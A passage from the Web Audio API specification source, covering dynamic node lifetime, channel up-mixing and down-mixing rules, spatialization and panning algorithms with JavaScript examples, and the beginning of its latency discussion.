{{AudioNode}} to produce 128\nsample-frames.\n\n<dfn lt=\"processing-input-buffer\">Processing an input buffer</dfn> means\nrunning the algorithm for an {{AudioNode}}, using an <a>input\nbuffer</a> and the value(s) of the {{AudioParam}}(s) of this\n{{AudioNode}} as the input for this algorithm.\n\n<h3 id=\"unloading-a-document\">Unloading a document</h3>\n\tAdditional <a href=\n\t\"https://html.spec.whatwg.org/#unloading-document-cleanup-steps\">unloading\n\tdocument cleanup steps</a> are defined for documents that use\n\t{{BaseAudioContext}}:\n\n1. Reject all the promises of {{BaseAudioContext/[[pending promises]]}} with\n\t<code>InvalidStateError</code>, for each {{AudioContext}} and\n\t{{OfflineAudioContext}} whose relevant global object is the same as\n\tthe document's associated Window.\n2. Stop all {{decoding thread}}s.\n3. <a>Queue a control message</a> to {{AudioContext/close()}} the\n\t{{AudioContext}} or {{OfflineAudioContext}}.\n\n<h2 id=\"DynamicLifetime\">\nDynamic Lifetime</h2>\n\n<h3 id=\"dynamic-lifetime-background\" class=\"informative\">\nBackground</h3>\n\nNote: The normative description of {{AudioContext}} and {{AudioNode}} lifetime characteristics is\n\tdescribed by the <a href=\"#lifetime-AudioContext\">AudioContext lifetime</a> and <a\n\thref=\"#AudioNode-actively-processing\">AudioNode lifetime</a>.\n\n<em>This section is non-normative.</em>\n\nIn addition to allowing the creation of static routing\nconfigurations, it should also be possible to do custom effect\nrouting on dynamically allocated voices which have a limited\nlifetime. For the purposes of this discussion, let's call these\nshort-lived voices \"notes\". Many audio applications incorporate the\nideas of notes, examples being drum machines, sequencers, and 3D\ngames with many one-shot sounds being triggered according to game\nplay.\n\nIn a traditional software synthesizer, notes are dynamically\nallocated and released from a pool of available resources. The note\nis allocated when a MIDI note-on message is received. It is released\nwhen the note has finished playing either due to it having reached\nthe end of its sample-data (if non-looping), it having reached a\nsustain phase of its envelope which is zero, or due to a MIDI\nnote-off message putting it into the release phase of its envelope.\nIn the MIDI note-off case, the note is not released immediately, but\nonly when the release envelope phase has finished. At any given time,\nthere can be a large number of notes playing but the set of notes is\nconstantly changing as new notes are added into the routing graph,\nand old ones are released.\n\nThe audio system automatically deals with tearing-down the part of\nthe routing graph for individual \"note\" events. A \"note\" is\nrepresented by an {{AudioBufferSourceNode}}, which\ncan be directly connected to other processing nodes. When the note\nhas finished playing, the context will automatically release the\nreference to the {{AudioBufferSourceNode}}, which in\nturn will release references to any nodes it is connected to, and so\non. The nodes will automatically get disconnected from the graph and\nwill be deleted when they have no more references. Nodes in the graph\nwhich are long-lived and shared between dynamic voices can be managed\nexplicitly. Although it sounds complicated, this all happens\nautomatically with no extra handling required.\n\n<h3 id=\"dynamic-lifetime-example\">\nExample</h3>\n\n<figure>\n\t<img alt=\"dynamic allocation\" src=\"images/dynamic-allocation.png\"\n\twidth=\"671\" height=\"221\">\n\t<figcaption>\n\t\tA graph featuring a subgraph that will be releases early.\n\t</figcaption>\n</figure>\n\nThe low-pass filter, panner, and second gain nodes are directly\nconnected from the one-shot sound. So when it has finished playing\nthe context will automatically release them (everything within the\ndotted line). If there are no longer any references to the one-shot\nsound and connected nodes, then they will be immediately removed from\nthe graph and deleted. The streaming source has a global reference\nand will remain connected until it is explicitly disconnected. Here's\nhow it might look in JavaScript:\n\n<pre line-numbers class=\"example\" highlight=\"js\">\nlet context = 0;\nlet compressor = 0;\nlet gainNode1 = 0;\nlet streamingAudioSource = 0;\n\n// Initial setup of the \"long-lived\" part of the routing graph\nfunction setupAudioContext() {\n\t\tcontext = new AudioContext();\n\n\t\tcompressor = context.createDynamicsCompressor();\n\t\tgainNode1 = context.createGain();\n\n\t\t// Create a streaming audio source.\n\t\tconst audioElement = document.getElementById('audioTagID');\n\t\tstreamingAudioSource = context.createMediaElementSource(audioElement);\n\t\tstreamingAudioSource.connect(gainNode1);\n\n\t\tgainNode1.connect(compressor);\n\t\tcompressor.connect(context.destination);\n}\n\n// Later in response to some user action (typically mouse or key event)\n// a one-shot sound can be played.\nfunction playSound() {\n\t\tconst oneShotSound = context.createBufferSource();\n\t\toneShotSound.buffer = dogBarkingBuffer;\n\n\t\t// Create a filter, panner, and gain node.\n\t\tconst lowpass = context.createBiquadFilter();\n\t\tconst panner = context.createPanner();\n\t\tconst gainNode2 = context.createGain();\n\n\t\t// Make connections\n\t\toneShotSound.connect(lowpass);\n\t\tlowpass.connect(panner);\n\t\tpanner.connect(gainNode2);\n\t\tgainNode2.connect(compressor);\n\n\t\t// Play 0.75 seconds from now (to play immediately pass in 0)\n\t\toneShotSound.start(context.currentTime + 0.75);\n}\n</pre>\n\n<h2 id=\"channel-up-mixing-and-down-mixing\">\nChannel Up-Mixing and Down-Mixing</h2>\n\n<em>This section is normative.</em>\n\nAn AudioNode input has <dfn dfn>mixing rules</dfn> for combining the channels from all\nof the connections to it. As a simple example, if an input is connected\nfrom a mono output and a stereo output, then the mono connection will\nusually be up-mixed to stereo and summed with the stereo connection.\nBut, of course, it's important to define the exact <a>mixing\nrules</a> for every input to every {{AudioNode}}. The\ndefault mixing rules for all of the inputs have been chosen so that\nthings \"just work\" without worrying too much about the details,\nespecially in the very common case of mono and stereo streams. Of\ncourse, the rules can be changed for advanced use cases, especially\nmulti-channel.\n\nTo define some terms, <dfn dfn>up-mixing</dfn> refers to the process of\ntaking a stream with a smaller number of channels and converting it to\na stream with a larger number of channels. <dfn dfn>down-mixing</dfn> refers\nto the process of taking a stream with a larger number of channels and\nconverting it to a stream with a smaller number of channels.\n\nAn {{AudioNode}} input needs to mix all the outputs\nconnected to this input. As part of this process it computes an\ninternal value <a>computedNumberOfChannels</a> representing the actual\nnumber of channels of the input at any given time.\n\n<div algorithm=\"channel mixing\">\n\tFor each input of an {{AudioNode}}, an implementation\n\tMUST:\n\n\t1. Compute <a>computedNumberOfChannels</a>.\n\n\t2. For each connection to the input:\n\n\t\t1. [=up-mix=] or [=down-mix=] the connection to\n\t\t\t<a>computedNumberOfChannels</a> according to the\n\t\t\t{{ChannelInterpretation}}\n\t\t\tvalue given by the node's {{AudioNode/channelInterpretation}} attribute.\n\n\t\t2. Mix it together with all of the other mixed streams (from other\n\t\t\tconnections). This is a straight-forward summing together of each of\n\t\t\tthe corresponding channels that have been\n\t\t\t[=up-mix|up-mixed=] or [=down-mix|down-mixed=]\n\t\t\tin step 1 for each connection.  </div>\n\n<h3 id=\"ChannelLayouts\">\nSpeaker Channel Layouts</h3>\n\nWhen {{AudioNode/channelInterpretation}} is\n\"{{ChannelInterpretation/speakers}}\" then the\n[=up-mix|up-mixing=] and [=down-mix|down-mixing=] is defined for specific channel layouts.\n\nMono (one channel), stereo (two channels), quad (four channels), and\n5.1 (six channels) MUST be supported. Other channel layouts may be\nsupported in future version of this specification.\n\n<h3 id=\"ChannelOrdering\">\nChannel Ordering</h3>\n\nChannel ordering is defined by the following table. Individual\nmultichannel formats MAY not support all intermediate channels.\nImplementations MUST present the channels provided in the order\ndefined below, skipping over those channels not present.\n\n<table class=\"channels\">\n\t<thead>\n\t\t<tr>\n\t\t\t<th scope=\"col\">Order\n\t\t\t<th scope=\"col\">Label\n\t\t\t<th scope=\"col\">Mono\n\t\t\t<th scope=\"col\">Stereo\n\t\t\t<th scope=\"col\">Quad\n\t\t\t<th scope=\"col\">5.1\n\t<tbody>\n\t\t<tr><td>0 <td>SPEAKER_FRONT_LEFT <td>0 <td>0 <td>0 <td>0\n\t\t<tr><td>1 <td>SPEAKER_FRONT_RIGHT <td> <td>1 <td>1 <td>1\n\t\t<tr><td>2 <td>SPEAKER_FRONT_CENTER <td> <td> <td> <td>2\n\t\t<tr><td>3 <td>SPEAKER_LOW_FREQUENCY <td> <td> <td> <td>3\n\t\t<tr><td>4 <td>SPEAKER_BACK_LEFT <td> <td> <td>2 <td>4\n\t\t<tr><td>5 <td>SPEAKER_BACK_RIGHT <td> <td> <td>3 <td>5\n\t\t<tr><td>6 <td>SPEAKER_FRONT_LEFT_OF_CENTER <td> <td> <td> <td>\n\t\t<tr><td>7 <td>SPEAKER_FRONT_RIGHT_OF_CENTER <td> <td> <td> <td>\n\t\t<tr><td>8 <td>SPEAKER_BACK_CENTER <td> <td> <td> <td>\n\t\t<tr><td>9 <td>SPEAKER_SIDE_LEFT <td> <td> <td> <td>\n\t\t<tr><td>10 <td>SPEAKER_SIDE_RIGHT <td> <td> <td> <td>\n\t\t<tr><td>11 <td>SPEAKER_TOP_CENTER <td> <td> <td> <td>\n\t\t<tr><td>12 <td>SPEAKER_TOP_FRONT_LEFT <td> <td> <td> <td>\n\t\t<tr><td>13 <td>SPEAKER_TOP_FRONT_CENTER <td> <td> <td> <td>\n\t\t<tr><td>14 <td>SPEAKER_TOP_FRONT_RIGHT <td> <td> <td> <td>\n\t\t<tr><td>15 <td>SPEAKER_TOP_BACK_LEFT <td> <td> <td> <td>\n\t\t<tr><td>16 <td>SPEAKER_TOP_BACK_CENTER <td> <td> <td> <td>\n\t\t<tr><td>17 <td>SPEAKER_TOP_BACK_RIGHT <td> <td> <td> <td>\n</table>\n\n<h3 id=\"channels-tail-time\">\nImplication of tail-time on input and output channel count</h3>\n\nWhen an {{AudioNode}} has a non-zero <a>tail-time</a>, and an output channel\ncount that depends on the input channels count, the {{AudioNode}}'s\n<a>tail-time</a> must be taken into account when the input channel count\nchanges.\n\nWhen there is a decrease in input channel count, the change in output channel\ncount MUST happen when the input that was received with greater channel count no\nlonger affects the output.\n\nWhen there is an increase in input channel count, the behavior depends on the\n{{AudioNode}} type:\n\n- For a {{DelayNode}} or a {{DynamicsCompressorNode}}, the number of output\n\tchannels MUST increase when the input that was received with greater channel\n\tcount begins to affect the output.\n\n- For other {{AudioNode}}s that have a <a>tail-time</a>, the number of output\n\tchannels MUST increase immediately.\n\n\tNote: For a {{ConvolverNode}}, this only applies to the case where the impulse\n\tresponse is mono. Otherwise, the {{ConvolverNode}} always outputs a stereo\n\tsignal regardless of its input channel count.\n\nNote: Intuitively, this allows not losing stereo information as part of\nprocessing: when multiple input render quanta of different channel count\ncontribute to an output render quantum then the output render quantum's channel\ncount is a superset of the input channel count of the input render quantums.\n\n<h3 id=\"UpMix-sub\">\nUp Mixing Speaker Layouts</h3>\n\n<pre>\nMono up-mix:\n\n\t1 -&gt; 2 : up-mix from mono to stereo\n\t\toutput.L = input;\n\t\toutput.R = input;\n\n\t1 -&gt; 4 : up-mix from mono to quad\n\t\toutput.L = input;\n\t\toutput.R = input;\n\t\toutput.SL = 0;\n\t\toutput.SR = 0;\n\n\t1 -&gt; 5.1 : up-mix from mono to 5.1\n\t\toutput.L = 0;\n\t\toutput.R = 0;\n\t\toutput.C = input; // put in center channel\n\t\toutput.LFE = 0;\n\t\toutput.SL = 0;\n\t\toutput.SR = 0;\n\nStereo up-mix:\n\n\t2 -&gt; 4 : up-mix from stereo to quad\n\t\toutput.L = input.L;\n\t\toutput.R = input.R;\n\t\toutput.SL = 0;\n\t\toutput.SR = 0;\n\n\t2 -&gt; 5.1 : up-mix from stereo to 5.1\n\t\toutput.L = input.L;\n\t\toutput.R = input.R;\n\t\toutput.C = 0;\n\t\toutput.LFE = 0;\n\t\toutput.SL = 0;\n\t\toutput.SR = 0;\n\nQuad up-mix:\n\n\t4 -&gt; 5.1 : up-mix from quad to 5.1\n\t\toutput.L = input.L;\n\t\toutput.R = input.R;\n\t\toutput.C = 0;\n\t\toutput.LFE = 0;\n\t\toutput.SL = input.SL;\n\t\toutput.SR = input.SR;\n</pre>\n\n<h3 id=\"down-mix\">\nDown Mixing Speaker Layouts</h3>\n\nA down-mix will be necessary, for example, if processing 5.1 source\nmaterial, but playing back stereo.\n\n<pre>\nMono down-mix:\n\n\t2 -&gt; 1 : stereo to mono\n\t\toutput = 0.5 * (input.L + input.R);\n\n\t4 -&gt; 1 : quad to mono\n\t\toutput = 0.25 * (input.L + input.R + input.SL + input.SR);\n\n\t5.1 -&gt; 1 : 5.1 to mono\n\t\toutput = sqrt(0.5) * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)\n\nStereo down-mix:\n\n\t4 -&gt; 2 : quad to stereo\n\t\toutput.L = 0.5 * (input.L + input.SL);\n\t\toutput.R = 0.5 * (input.R + input.SR);\n\n\t5.1 -&gt; 2 : 5.1 to stereo\n\t\toutput.L = L + sqrt(0.5) * (input.C + input.SL)\n\t\toutput.R = R + sqrt(0.5) * (input.C + input.SR)\n\nQuad down-mix:\n\n\t5.1 -&gt; 4 : 5.1 to quad\n\t\toutput.L = L + sqrt(0.5) * input.C\n\t\toutput.R = R + sqrt(0.5) * input.C\n\t\toutput.SL = input.SL\n\t\toutput.SR = input.SR\n</pre>\n\n<h3 id=\"ChannelRules-section\">\nChannel Rules Examples</h3>\n\n<pre line-numbers class=\"example\" highlight=\"js\">\n\t// Set gain node to explicit 2-channels (stereo).\n\tgain.channelCount = 2;\n\tgain.channelCountMode = \"explicit\";\n\tgain.channelInterpretation = \"speakers\";\n\n\t// Set \"hardware output\" to 4-channels for DJ-app with two stereo output busses.\n\tcontext.destination.channelCount = 4;\n\tcontext.destination.channelCountMode = \"explicit\";\n\tcontext.destination.channelInterpretation = \"discrete\";\n\n\t// Set \"hardware output\" to 8-channels for custom multi-channel speaker array\n\t// with custom matrix mixing.\n\tcontext.destination.channelCount = 8;\n\tcontext.destination.channelCountMode = \"explicit\";\n\tcontext.destination.channelInterpretation = \"discrete\";\n\n\t// Set \"hardware output\" to 5.1 to play an HTMLAudioElement.\n\tcontext.destination.channelCount = 6;\n\tcontext.destination.channelCountMode = \"explicit\";\n\tcontext.destination.channelInterpretation = \"speakers\";\n\n\t// Explicitly down-mix to mono.\n\tgain.channelCount = 1;\n\tgain.channelCountMode = \"explicit\";\n\tgain.channelInterpretation = \"speakers\";\n</pre>\n\n<h2 id=\"audio-signal-values\">\nAudio Signal Values</h2>\n\n<h3 id=\"audio-sample-format\">\nAudio sample format</h3>\n\n<dfn lt=\"linear PCM\">Linear pulse code modulation</dfn> (linear PCM) describes a\nformat where the audio values are sampled at a regular interval, and where the\nquantization levels between two successive values are linearly uniform.\n\nWhenever signal values are exposed to script in this specification, they are in\nlinear 32-bit floating point pulse code modulation format (linear 32-bit float\nPCM), often in the form of {{Float32Array}} objects.\n\n<h3 id=\"audio-values-rendering\">\nRendering</h3>\n\nThe range of all audio signals at a destination node of any audio graph\nis nominally [-1, 1]. The audio rendition of signal values outside this\nrange, or of the values <code>NaN</code>, positive infinity or negative\ninfinity, is undefined by this specification.\n\n\n<h2 id=\"Spatialization\">\nSpatialization/Panning</h2>\n\n<h3 id=\"Spatialization-background\">\nBackground</h3>\n\nA common feature requirement for modern 3D games is the ability to\ndynamically spatialize and move multiple audio sources in 3D space.\nFor example <a href=\"https://openal.org\">OpenAL</a> has this ability.\n\nUsing a {{PannerNode}}, an audio stream can be\nspatialized or positioned in space relative to an\n{{AudioListener}}. A\n{{BaseAudioContext}} will contain a single\n{{AudioListener}}. Both panners and listeners have a\nposition in 3D space using a right-handed cartesian coordinate\nsystem. The units used in the coordinate system are not defined, and\ndo not need to be because the effects calculated with these\ncoordinates are independent/invariant of any particular units such as\nmeters or feet. {{PannerNode}} objects (representing\nthe source stream) have an <em>orientation</em> vector representing\nin which direction the sound is projecting. Additionally, they have a\n<em>sound cone</em> representing how directional the sound is. For\nexample, the sound could be omnidirectional, in which case it would\nbe heard anywhere regardless of its orientation, or it can be more\ndirectional and heard only if it is facing the listener.\n{{AudioListener}} objects (representing a person's\nears) have [=forward=] and [=up=] vectors\nrepresenting in which direction the person is facing.\n\nThe coordinate system for spatialization is shown in the diagram\nbelow, with the default values shown.  The locations for the\n{{AudioListener}} and {{PannerNode}} are moved from the default\npositions so we can see things better.\n\n<figure>\n\t<img alt=\"panner-coord\" src=\"images/panner-coord.svg\">\n\t<figcaption>\n\t\tDiagram of the coordinate system with AudioListener\n\t\tand PannerNode attributes shown.\n\t</figcaption>\n</figure>\n\nDuring rendering, the {{PannerNode}} calculates an\n<em>azimuth</em> and <em>elevation</em>. These values are used\ninternally by the implementation in order to render the\nspatialization effect. See the <a href=\"#Spatialization-panning-algorithm\">Panning Algorithm</a> section for\ndetails of how these values are used.\n\n<h3 id=\"azimuth-elevation\">\nAzimuth and Elevation</h3>\n\nThe following algorithm MUST be used to calculate the\n<em>azimuth</em> and <em>elevation</em> for the\n{{PannerNode}}.  The implementation must appropriately account for whether the various {{AudioParam}}s below are \"{{AutomationRate/a-rate}}\" or \"{{AutomationRate/k-rate}}\".\n\n<xmp highlight=\"js\" line-numbers>\n// Let |context| be a BaseAudioContext and let |panner| be a\n// PannerNode created in |context|.\n\n// Calculate the source-listener vector.\nconst listener = context.listener;\nconst sourcePosition = new Vec3(panner.positionX.value, panner.positionY.value,\n                                panner.positionZ.value);\nconst listenerPosition =\n    new Vec3(listener.positionX.value, listener.positionY.value,\n             listener.positionZ.value);\nconst sourceListener = sourcePosition.diff(listenerPosition).normalize();\n\nif (sourceListener.magnitude == 0) {\n  // Handle degenerate case if source and listener are at the same point.\n  azimuth = 0;\n  elevation = 0;\n  return;\n}\n\n// Align axes.\nconst listenerForward = new Vec3(listener.forwardX.value, listener.forwardY.value,\n                                 listener.forwardZ.value);\nconst listenerUp =\n    new Vec3(listener.upX.value, listener.upY.value, listener.upZ.value);\nconst listenerRight = listenerForward.cross(listenerUp);\n\nif (listenerRight.magnitude == 0) {\n  // Handle the case where listener's 'up' and 'forward' vectors are linearly\n  // dependent, in which case 'right' cannot be determined\n  azimuth = 0;\n  elevation = 0;\n  return;\n}\n\n// Determine a unit vector orthogonal to listener's right, forward\nconst listenerRightNorm = listenerRight.normalize();\nconst listenerForwardNorm = listenerForward.normalize();\nconst up = listenerRightNorm.cross(listenerForwardNorm);\n\nconst upProjection = sourceListener.dot(up);\nconst projectedSource = sourceListener.diff(up.scale(upProjection)).normalize();\n\nazimuth = 180 * Math.acos(projectedSource.dot(listenerRightNorm)) / Math.PI;\n\n// Source in front or behind the listener.\nconst frontBack = projectedSource.dot(listenerForwardNorm);\nif (frontBack < 0)\n  azimuth = 360 - azimuth;\n\n// Make azimuth relative to \"forward\" and not \"right\" listener vector.\nif ((azimuth >= 0) && (azimuth <= 270))\n  azimuth = 90 - azimuth;\nelse\n  azimuth = 450 - azimuth;\n\nelevation = 90 - 180 * Math.acos(sourceListener.dot(up)) / Math.PI;\n\nif (elevation > 90)\n  elevation = 180 - elevation;\nelse if (elevation < -90)\n  elevation = -180 - elevation;\n</xmp>\n\n<h3 id=\"Spatialization-panning-algorithm\">\nPanning Algorithm</h3>\n\n<em>Mono-to-stereo</em> and <em>stereo-to-stereo</em> panning MUST be\nsupported. <em>Mono-to-stereo</em> processing is used when all\nconnections to the input are mono. Otherwise\n<em>stereo-to-stereo</em> processing is used.\n\n<h4 id=\"Spatialization-equal-power-panning\">\nPannerNode \"equalpower\" Panning</h4>\n\nThis is a simple and relatively inexpensive algorithm which\nprovides basic, but reasonable results. It is used for the for the\n{{PannerNode}} when the {{PannerNode/panningModel}} attribute is set to\n\"{{PanningModelType/equalpower}}\", in which case the <em>elevation</em>\nvalue is ignored. This algorithm MUST be implemented using\nthe appropriate rate as specified by the\n{{AudioParam/automationRate}}.  If any of the {{PannerNode}}'s\n{{AudioParam}}s or the {{AudioListener}}'s {{AudioParam}}s are\n\"{{AutomationRate/a-rate}}\", <a>a-rate</a> processing must be used.\n\n<div algorithm=\"equalpower panning\">\n\t1. For each sample to be computed by this {{AudioNode}}:\n\n\t\t1. Let <var>azimuth</var> be the value computed in the <a href=\"#azimuth-elevation\">azimuth and elevation</a> section.\n\n\t\t2. The <var>azimuth</var> value is first contained to be within\n\t\t\tthe range [-90, 90] according to:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\t// First, clamp azimuth to allowed range of [-180, 180].\n\t\t\tazimuth = max(-180, azimuth);\n\t\t\tazimuth = min(180, azimuth);\n\n\t\t\t// Then wrap to range [-90, 90].\n\t\t\tif (azimuth &lt; -90)\n\t\t\t\tazimuth = -180 - azimuth;\n\t\t\telse if (azimuth &gt; 90)\n\t\t\t\tazimuth = 180 - azimuth;\n\t\t\t</pre>\n\n\t\t3. A normalized value <em>x</em> is calculated from\n\t\t\t<var>azimuth</var> for a mono input as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tx = (azimuth + 90) / 180;\n\t\t\t</pre>\n\n\t\t\tOr for a stereo input as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tif (azimuth &lt;= 0) { // -90 -&gt; 0\n\t\t\t\t// Transform the azimuth value from [-90, 0] degrees into the range [-90, 90].\n\t\t\t\tx = (azimuth + 90) / 90;\n\t\t\t} else { // 0 -&gt; 90\n\t\t\t\t// Transform the azimuth value from [0, 90] degrees into the range [-90, 90].\n\t\t\t\tx = azimuth / 90;\n\t\t\t}\n\t\t\t</pre>\n\n\t\t4. Left and right gain values are calculated as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tgainL = cos(x * Math.PI / 2);\n\t\t\tgainR = sin(x * Math.PI / 2);\n\t\t\t</pre>\n\n\t\t5. For mono input, the stereo output is calculated as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\toutputL = input * gainL;\n\t\t\toutputR = input * gainR;\n\t\t\t</pre>\n\n\t\t\tElse for stereo input, the output is calculated as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tif (azimuth &lt;= 0) {\n\t\t\t\toutputL = inputL + inputR * gainL;\n\t\t\t\toutputR = inputR * gainR;\n\t\t\t} else {\n\t\t\t\toutputL = inputL * gainL;\n\t\t\t\toutputR = inputR + inputL * gainR;\n\t\t\t}\n\t\t\t</pre>\n\t\t6. Apply the distance gain and cone gain where the\n\t\t\tcomputation of the distance is described in\n\t\t\t[[#Spatialization-distance-effects|Distance\n\t\t\tEffects]] and the cone gain is described in\n\t\t\t[[#Spatialization-sound-cones|Sound Cones]]:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tlet distance = distance();\n\t\t\tlet distanceGain = distanceModel(distance);\n\t\t\tlet totalGain = coneGain() * distanceGain();\n\t\t\toutputL = totalGain * outputL;\n\t\t\toutputR = totalGain * outputR;\n\t\t\t</pre>\n\n</div>\n\n<h4 id=\"Spatialization-hrtf-panning\">\nPannerNode \"HRTF\" Panning (Stereo Only)</h4>\n\nThis requires a set of <a href=\"https://en.wikipedia.org/wiki/Head-related_transfer_function\">HRTF</a>\n(Head-related Transfer Function) impulse responses recorded at a\nvariety of azimuths and elevations. The implementation requires a\nhighly optimized convolution function. It is somewhat more costly\nthan \"equalpower\", but provides more perceptually spatialized\nsound.\n\n<figure>\n\t<img alt=\"\" src=\"images/HRTF_panner.png\" width=\"644\"\n\theight=\"419\">\n\t<figcaption>\n\t\tA diagram showing the process of panning a source using HRTF.\n\t</figcaption>\n</figure>\n\n<h4 id=\"stereopanner-algorithm\">\nStereoPannerNode Panning</h4>\n\n<div algorithm=\"pan a StereoPannerNode\">\n\tFor a {{StereoPannerNode}}, the following algorithm\n\tMUST be implemented.\n\n\t1. For each sample to be computed by this {{AudioNode}}\n\t\t1. Let <var>pan</var> be the <a>computedValue</a> of the\n\t\t\t<code>pan</code> {{AudioParam}} of this\n\t\t\t{{StereoPannerNode}}.\n\n\t\t2. Clamp <var>pan</var> to [-1, 1].\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tpan = max(-1, pan);\n\t\t\tpan = min(1, pan);\n\t\t\t</pre>\n\n\t\t3. Calculate <em>x</em> by normalizing <var>pan</var> value to\n\t\t\t[0, 1]. For mono input:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tx = (pan + 1) / 2;\n\t\t\t</pre>\n\n\t\t\tFor stereo input:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tif (pan &lt;= 0)\n\t\t\t\tx = pan + 1;\n\t\t\telse\n\t\t\t\tx = pan;\n\t\t\t</pre>\n\n\t\t4. Left and right gain values are calculated as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tgainL = cos(x * Math.PI / 2);\n\t\t\tgainR = sin(x * Math.PI / 2);\n\t\t\t</pre>\n\n\t\t5. For mono input, the stereo output is calculated as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\toutputL = input * gainL;\n\t\t\toutputR = input * gainR;\n\t\t\t</pre>\n\n\t\t\tElse for stereo input, the output is calculated as:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\tif (pan &lt;= 0) {\n\t\t\t\toutputL = inputL + inputR * gainL;\n\t\t\t\toutputR = inputR * gainR;\n\t\t\t} else {\n\t\t\t\toutputL = inputL * gainL;\n\t\t\t\toutputR = inputR + inputL * gainR;\n\t\t\t}\n\t\t\t</pre>\n</div>\n\n<h3 id=\"Spatialization-distance-effects\">\nDistance Effects</h3>\n\nSounds which are closer are louder, while sounds further away are\nquieter. Exactly <em>how</em> a sound's volume changes according to\ndistance from the listener depends on the {{PannerNode/distanceModel}}\nattribute.\n\nDuring audio rendering, a <em>distance</em> value will be calculated\nbased on the panner and listener positions according to:\n\n<xmp highlight=\"js\" line-numbers>\nfunction distance(panner) {\n  const pannerPosition = new Vec3(panner.positionX.value, panner.positionY.value,\n                                  panner.positionZ.value);\n  const listener = context.listener;\n  const listenerPosition =\n      new Vec3(listener.positionX.value, listener.positionY.value,\n               listener.positionZ.value);\n  return pannerPosition.diff(listenerPosition).magnitude;\n}\n</xmp>\n\n<em>distance</em> will then be used to calculate\n<em>distanceGain</em> which depends on the {{PannerNode/distanceModel}}\nattribute. See the {{DistanceModelType}} section for details of how\nthis is calculated for each distance model.\n\nAs part of its processing, the {{PannerNode}}\nscales/multiplies the input audio signal by <em>distanceGain</em> to\nmake distant sounds quieter and nearer ones louder.\n\n\n<h3 id=\"Spatialization-sound-cones\">\nSound Cones</h3>\n\nThe listener and each sound source have an orientation vector\ndescribing which way they are facing. Each sound source's sound\nprojection characteristics are described by an inner and outer \"cone\"\ndescribing the sound intensity as a function of the source/listener\nangle from the source's orientation vector. Thus, a sound source\npointing directly at the listener will be louder than if it is\npointed off-axis. Sound sources can also be omni-directional.\n\nThe following diagram ilustrates the relationship between the source's\ncone with respect to the listener.  In the diagram,\n<code>{{PannerNode/coneInnerAngle}} = 50</code> and\n<code>{{PannerNode/coneOuterAngle}} = 120</code>.  That\nis, the inner cone extends 25 deg on each side of the direction\nvector.  Similarly, the outer cone is 60 deg on each side.\n\n<figure>\n\t<img alt=\"cone-diagram\" src=\"images/cone-diagram.svg\">\n\t<figcaption>\n\t\tCone angles for a source in relationship to the source orientation and the listeners position and orientation.\n\t</figcaption>\n</figure>\n\nThe following algorithm MUST be used to calculate the gain\ncontribution due to the cone effect, given the source (the\n{{PannerNode}}) and the listener:\n\n<xmp highlight=\"js\" line-numbers>\nfunction coneGain() {\n  const sourceOrientation =\n      new Vec3(source.orientationX, source.orientationY, source.orientationZ);\n  if (sourceOrientation.magnitude == 0 ||\n      ((source.coneInnerAngle == 360) && (source.coneOuterAngle == 360)))\n    return 1; // no cone specified - unity gain\n\n  // Normalized source-listener vector\n  const sourcePosition = new Vec3(panner.positionX.value, panner.positionY.value,\n                                  panner.positionZ.value);\n  const listenerPosition =\n      new Vec3(listener.positionX.value, listener.positionY.value,\n               listener.positionZ.value);\n  const sourceToListener = sourcePosition.diff(listenerPosition).normalize();\n\n  const normalizedSourceOrientation = sourceOrientation.normalize();\n\n  // Angle between the source orientation vector and the source-listener vector\n  const angle = 180 *\n                Math.acos(sourceToListener.dot(normalizedSourceOrientation)) /\n                Math.PI;\n  const absAngle = Math.abs(angle);\n\n  // Divide by 2 here since API is entire angle (not half-angle)\n  const absInnerAngle = Math.abs(source.coneInnerAngle) / 2;\n  const absOuterAngle = Math.abs(source.coneOuterAngle) / 2;\n  let gain = 1;\n\n  if (absAngle <= absInnerAngle) {\n    // No attenuation\n    gain = 1;\n  } else if (absAngle >= absOuterAngle) {\n    // Max attenuation\n    gain = source.coneOuterGain;\n  } else {\n    // Between inner and outer cones\n    // inner -> outer, x goes from 0 -> 1\n    const x = (absAngle - absInnerAngle) / (absOuterAngle - absInnerAngle);\n    gain = (1 - x) + source.coneOuterGain * x;\n  }\n\n  return gain;\n}\n</xmp>\n\n\n<!-- Big Text: Perf -->\n\n<h2 id=\"Performance\">\nPerformance Considerations</h2>\n\n<h3 id=\"latency\">\nLatency</h3>\n\n<figure>\n\t<img alt=\"latency\" src=\"images/latency.png\" width=\"700\" height=\"201\">\n\t<figcaption>\n\t\tUse cases in which the latency can be important\n\t</figcaption>\n</figure>\n\nFor web applications, the time delay between mouse and keyboard\nevents (keydown, mousedown, etc.) and a sound being heard is\nimportant.\n\nThis time delay is called latency and is caused by several factors\n(input device latency, internal buffering latency, DSP processing\nlatency, output device latency, distance of user's ears from\nspeakers, etc.), and is cumulative. The larger this latency is, the\nless satisfying the user's experience is going to be. In the extreme,\nit can make musical production or game-play impossible. At moderate\nlevels it can affect timing and give the impression of sounds lagging\nbehind or the game being non-responsive. For musical applications the\ntiming problems affect rhythm. For gaming, the timing problems affect\nprecision of gameplay. For interactive applications, it generally\ncheapens the users experience much in the same way that very low\nanimation frame-rates do. Depending on the application, a reasonable\nlatency can be from as low as 3-6 milliseconds to 25-50 milliseconds.\n\nImplementations will generally seek to minimize overall latency.\n\nAlong with minimizing overall latency, implementations will generally\nseek to minimize the difference between an\n{{AudioContext}}'s <code>currentTime</code> and an\n{{AudioProcessingEvent}}'s <code>playbackTime</code>.\nDeprecation of {{ScriptProcessorNode}} will make this\nconsideration less important over time.\n\nAdditionally, some {{AudioNode}}s can add latency to some paths\nof the audio graph, notably:\n\n* The {{AudioWorkletNode}} can run a script that buffers\n\tinternally, adding delay to the signal path.\n\n* The {{DelayNode}}, whose role is to add controlled latency\n\ttime.\n\n* The {{BiquadFilterNode}} and {{IIRFilterNode}} 